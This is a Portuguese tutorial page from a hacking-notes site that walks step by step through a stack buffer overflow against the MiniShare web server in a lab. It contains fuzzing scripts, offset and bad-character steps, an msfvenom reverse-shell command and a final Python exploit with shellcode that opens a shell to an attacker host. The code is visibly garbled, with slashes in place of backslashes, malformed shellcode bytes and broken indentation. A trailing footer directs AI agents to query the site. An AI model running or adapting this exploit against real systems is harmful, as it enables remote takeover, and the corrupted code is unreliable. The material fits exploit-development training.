> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/useful-resources/exploit-development/windows-buffer-overflow-minishare.md).

# Buffer Overflow Windows - MiniShare

<details>

<summary>Instalação do ambiente de Buffer Overflow</summary>

1. Baixe a máquina [Windows 7 Basic 32 bits](https://lecrabeinfo.net/telecharger/windows-7-edition-familiale-basique-sp1-x86):
2. Dentro da máquina, baixe o [depurador ](https://www.immunityinc.com/products/debugger/):
3. Depois de instalá-lo, execute o seguinte comando no terminal:

```bash
bcdedit.exe /set {current} nx AlwaysOff
```

4. Copie isto [script ](https://www.immunityinc.com/products/debugger/)para um arquivo a.py:
5. Cole o script em `c:/Program Files/Immunity Inc/Immunity Debugger/PyCommands`
6. Por fim, instale [MiniShare](https://sourceforge.net/projects/minishare/files/latest/download)

![](/files/ec235c5c8a0da4b9dc1f4c10b9300a3cefc2e92a)

</details>

* No Immunity Debugger, anexamos o MiniShare:

  <br>

  <figure><img src="/files/70b43e481dbe2c8678b72952f62aa385baf330a6" alt="" width="563"><figcaption></figcaption></figure>
* Agora vamos prosseguir com o fuzzing para encontrar a quantidade de bytes:

```python
#!/usr/bin/python3
from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

def exploit():
    total_length = 100

    while True:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.settimeout(7)

            s.connect((ip_address, port))

            print("/n[+] Enviando %d bytes" % total_length)

            s.send(b"GET " + b"/x41" * total_length + b" HTTP/1.1/r/n/r/n")
            s.recv(1024)
            s.close() 

            total_length += 100
        except:
            print("/n[!] O serviço parece ter travado/n")
            print("/n[i] O serviço travou com um total de %d bytes enviados" % total_length)
            sys.exit(1)

if __name__ == '__main__':
    exploit()
```

<figure><img src="/files/615a1a5b51d4f692372a21339b2268c9d1120cba" alt="" width="563"><figcaption></figcaption></figure>

* Com o seguinte comando, temos 1800 octetos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3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0
Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8C
f9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9'

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)

        s.connect((ip_address, port))    

        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 

    except:
        print("/n[!] O serviço parece ter travado/n")
        sys.exit(1)

if __name__ == '__main__':
    exploit()
```

/ /- Precisamos copiar o EIP:

<figure><img src="/files/437a50adf0b3cf5bb0a0a4fe68db295650fd00d3" alt="" width="563"><figcaption></figcaption></figure>

* Colamos isso no script adicionando 0x no início:

```
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 0x36684335
```

* Ele nos diz que isso corresponde a 1787:<br>

  <figure><img src="/files/a7be58402984097a149e5aca6ed9adaa1db6d744" alt=""><figcaption></figcaption></figure>
* Agora vamos ver se conseguimos controlar o EIP:<br>

```python
#!/usr/bin/python3

from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

offset = 1787 

before_eip = b"A"*offset
eip = b"B"*4

payload = before_eip + eip 

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)

        s.connect((ip_address, port))
 
        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 

    except:
        print("/n[!] O serviço parece ter travado/n")
        sys.exit(1)

if __name__ == '__main__':
    exploit()
```

* Na verdade, conseguimos controlar o EIP:

<figure><img src="/files/563fe82d84ca2677552e0beac19396fffe0aef4b" alt="" width="563"><figcaption></figcaption></figure>

\*Agora precisamos encontrar os badchars:

```python
#!/usr/bin/python3

from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

offset = 1787 

before_eip = b"A"*offset
eip = b"B"*4

payload = before_eip + eip + b"C"*500 

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)

        s.connect((ip_address, port))

        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 

    except:
        print("/n[!] O serviço parece ter travado/n")
        sys.exit(1)

if __name__ == '__main__':
    exploit()
```

* Realizamos o monitoramento "dump" do sistema ESP.

  <br>

  <figure><img src="/files/55150ce8829eac485a0c367a96ea4f3fdbba4a86" alt="" width="563"><figcaption></figcaption></figure>
* Com este comando, criamos o arquivo bytearray:

```
!mona bytearray -cpb '/x00'
```

<figure><img src="/files/17403b7dce1548211ca5b272c32f789ef70ccae9" alt=""><figcaption></figcaption></figure>

* Na minha máquina atacante, criamos um servidor SMB para transferir o arquivo para nós:

```bash
impacket-smbserver smbFolder $(pwd) -smb2support
```

<figure><img src="/files/0a633db7c35cc46dab402740d4835bd6660577a3" alt=""><figcaption></figcaption></figure>

* Transferimos isso:

  <figure><img src="/files/02278ced1f43d10af46baac80438e40b3c33bc68" alt=""><figcaption></figcaption></figure>
* Script atualizado:

  ```python
  #!/usr/bin/python3

  from struct import pack
  import socket
  import sys

  ip_address = "192.168.71.139"
  port = 80

  offset = 1787 

  before_eip = b"A"*offset
  eip = b"B"*4

  badchars = (b"/x01/x02/x03/x04/x05/x06/x07/x08/x09/x0a/x0b/x0c/x0d/x0e/x0f/x10/x11/x12/x13/x14/x15/x16/x17/x18/x19/x1a/x1b/x1c/x1d/x1e/x1f/x20"
  b"/x21/x22/x23/x24/x25/x26/x27/x28/x29/x2a/x2b/x2c/x2d/x2e/x2f/x30/x31/x32/x33/x34/x35/x36/x37/x38/x39/x3a/x3b/x3c/x3d/x3e/x3f/x40"
  b"/x41/x42/x43/x44/x45/x46/x47/x48/x49/x4a/x4b/x4c/x4d/x4e/x4f/x50/x51/x52/x53/x54/x55/x56/x57/x58/x59/x5a/x5b/x5c/x5d/x5e/x5f/x60"
  b"/x61/x62/x63/x64/x65/x66/x67/x68/x69/x6a/x6b/x6c/x6d/x6e/x6f/x70/x71/x72/x73/x74/x75/x76/x77/x78/x79/x7a/x7b/x7c/x7d/x7e/x7f/x80"
  b"/x81/x82/x83/x84/x85/x86/x87/x88/x89/x8a/x8b/x8c/x8d/x8e/x8f/x90/x91/x92/x93/x94/x95/x96/x97/x98/x99/x9a/x9b/x9c/x9d/x9e/x9f/xa0"
  b"/xa1/xa2/xa3/xa4/xa5/xa6/xa7/xa8/xa9/xaa/xab/xac/xad/xae/xaf/xb0/xb1/xb2/xb3/xb4/xb5/xb6/xb7/xb8/xb9/xba/xbb/xbc/xbd/xbe/xbf/xc0"
  b"/xc1/xc2/xc3/xc4/xc5/xc6/xc7/xc8/xc9/xca/xcb/xcc/xcd/xce/xcf/xd0/xd1/xd2/xd3/xd4/xd5/xd6/xd7/xd8/xd9/xda/xdb/xdc/xdd/xde/xdf/xe0"
  b"/xe1/xe2/xe3/xe4/xe5/xe6/xe7/xe8/xe9/xea/xeb/xec/xed/xee/xef/xf0/xf1/xf2/xf3/xf4/xf5/xf6/xf7/xf8/xf9/xfa/xfb/xfc/xfd/xfe/xff")

  payload = before_eip + eip + badchars

  def exploit():
      try:
          s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
          s.settimeout(7)

          s.connect((ip_address, port))
       
          s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
          s.recv(1024)
          s.close() 

      except:
          print("/n[!] O serviço parece ter travado/n")
          sys.exit(1)

  if __name__ == '__main__':
      exploit()
  ```
* Enviamos o conteúdo do ESP de volta para o "dump":

<figure><img src="/files/1e20647148a993e72409b0816f9478b262e43743" alt=""><figcaption></figcaption></figure>

* O resultado da comparação:

```
!mona compare -a 0x03C238D0 -f C:/Users/jordan/Desktop/Analysis/bytearray.bin
```

<figure><img src="/files/836f32c8454d16b8acd97f9c542671533a29776d" alt="" width="563"><figcaption></figcaption></figure>

* Sobrescrevemos o arquivo sem caracteres indesejados e o removemos do nosso script:

```bash
!mona bytearray -cpb '/x00/x0d'
```

<figure><img src="/files/0445e2361b558a700a89ccb89f371a6aabfeb2a0" alt=""><figcaption></figcaption></figure>

* E se fizermos uma comparação novamente, não há mais badchars:

  <figure><img src="/files/9c83c7236341148e44444581e6b04f41df4f8973" alt=""><figcaption></figcaption></figure>
* Usamos o `!mona modules` comando, obtemos "false".

<figure><img src="/files/94603c2f503ea8ec8ed45543c1f21e877a3d5be0" alt=""><figcaption></figcaption></figure>

* Se usarmos o seguinte comando, neste caso obteremos um erro informando que não existem ponteiros:

```
!mona find -s '/xFF/xE4' -m minishare.exe
```

<figure><img src="/files/8021b86f866174bc40f4840afb8c185c32102db0" alt=""><figcaption></figcaption></figure>

* Usamos este comando como alternativa e encontramos 44, então selecionamos um que não contenha caracteres indesejados:

```
!mona findwild -s "JMP ESP"
```

<figure><img src="/files/6d81bf8da4f37815fcceaee4cd6db41d8bd2a487" alt=""><figcaption></figcaption></figure>

* Agora, no script, coloque os valores na variável EIP com o prefixo "0x" e tudo em minúsculas:

<div data-full-width="true"><figure><img src="/files/f1e4be491a27a8da9f44dcd93fa12da703011d6f" alt=""><figcaption></figcaption></figure></div>

* Agora vamos gerar o shellcode para fazer a reverse shell:

```bash
msfvenom -p windows/shell_reverse_tcp --platform windows -a x86 LHOST=192.168.71.128 LPORT=443 -e x86/shikata_ga_nai EXITFUNC=thread -f c -b '/x00/x0d' 
```

<figure><img src="/files/881e405622c3d45dd630d6714d179f5370f0cf04" alt="" width="563"><figcaption></figcaption></figure>

* Script atualizado:

```python
#!/usr/bin/python3

from struct import pack
import socket
import sys

ip_address = "192.168.71.139"
port = 80

offset = 1787 

before_eip = b"A"*offset
eip = pack("<L", 0x7616be7f)

shellcode = (b"/xda/xd9/xd9/x74/x24/xf4/x58/x2b/xc9/xbf/xd3/xb2/xb4/c4"
b"/xb1/x52/x83/xe8/xfc/x31/x78/x13/x03/xab/xa1/x56/x31/xb7"
b"/x2e/x14/xba/x47/xaf/x79/x32/xa2/x9e/xb9/x20/xa7/xb1/x09"
b"/x22/xe5/x3d/xe1/x66/x1d/xb5/x87/xae/x12/x7e/x2d/89/x1d"
b"/x7f/x1e/xe9/x3c/x03/x5d/x3e/x9e/x3a/xae/x33/xdf/x7b/xd3"
b"/xbe/x8d/xd4/x9f/x6d/x21/x50/xd5/xad/xca/x2a/xfb/xb5/x2f"
b"/xfa/xfa/x94/xfe/x70/xa5/x36/x01/x54/xdd/x7e/x19/xb9/xd8"
b"/xc9/x92/x09/x96/xcb/x72/x40/x57/x67/xbb/x6c/xaa/x79/xfc"
b"/x4b/x55/x0c/xf4/xaf/xe8/x17/xc3/xd2/x36/x9d/xd7/x75/xbc"
b"/x05/x33/x87/x11/xd3/xb0/x8b/xde/x97/x9e/x8f/xe1/x74/x95"
b"/xb4/x6a/x7b/x79/x3d/x28/x58/x5d/x65/xea/xc1/xc4/xc3/x5d"
b"/xfd/x16/xac/x02/x5b/x5d/x41/x56/xd6/x3c/x0e/x9b/xdb/xbe"
b"/xce/xb3/x6c/xcd/xfc/x1c/xc7/x59/x4d/xd4/xc1/x9e/xb2/xcf"
b"/xb6/x30/x4d/xf0/xc6/x19/x8a/xa4/x96/x31/x3b/xc5/x7c/xc1"
b"/xc4/x10/xd2/x91/x6a/xcb/x93/x41/xcb/xbb/x7b/x8b/xc4/xe4"
b"/x9c/xb4/x0e/x8d/x37/x4f/xd9/x72/x6f/x08/x99/x1b/x72/x96"
b"/x98/x60/xfb/x70/xf0/x86/xaaa/x2b/x6d/x3e/xf7/xa7/x0c/xbf"
b"/x2d/xc2/x0f/x4b/xc2/x33/xc1/xbc/xaf/x27/xb6/x4c/xfa/x15"
b"/x11/x52/xd0/x31/xfd/xc1/xbf/xc1/x88/xf9/x17/x96/xdd/xcc"
b"/x61/x72/xf0/x77/xd8/x60/x09/xe1/x23/x20/xd6/xd2/xaa/xa9"
b"/x9b/x6f/x89/xb9/x65/x6f/x95/xed/x39/x26/x43/x5b/xfc/x90"
b"/x25/x35/x56/x4e/xec/xd1/x2f/xbc/x2f/xa7/x2f/xe9/xd9/x47"
b"/x81/x44/x9c/x78/x2e/x01/x28/x01/x52/xb1/xd7/xd8/xd6/xd1"
b"/x35/xc8/x22/x7a/xe0/x99/x8e/xe7/x13/x74/xcc/x11/x90/x7c"
b"/xad/xe5/x88/xf5/xa8/xa2/x0e/xe6/xc0/xbb/xfa/x08/x76/xbb"
b"/x2e")

payload = before_eip + eip + b"/x90"*16 + shellcode

def exploit():
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(7)
        s.connect((ip_address, port))
        s.send(b"GET " + payload + b" HTTP/1.1/r/n/r/n")
        s.recv(1024)
        s.close() 
 
     except:
         print("/n[!] O serviço parece ter travado/n")
         sys.exit(1)
 
 if __name__ == '__main__':
     exploit()
```

* Escutamos com rlwrap e finalmente obtemos acesso:

<figure><img src="/files/29427998fe43da0a841789dbf34bab23bd0d17be" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/useful-resources/exploit-development/windows-buffer-overflow-minishare.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
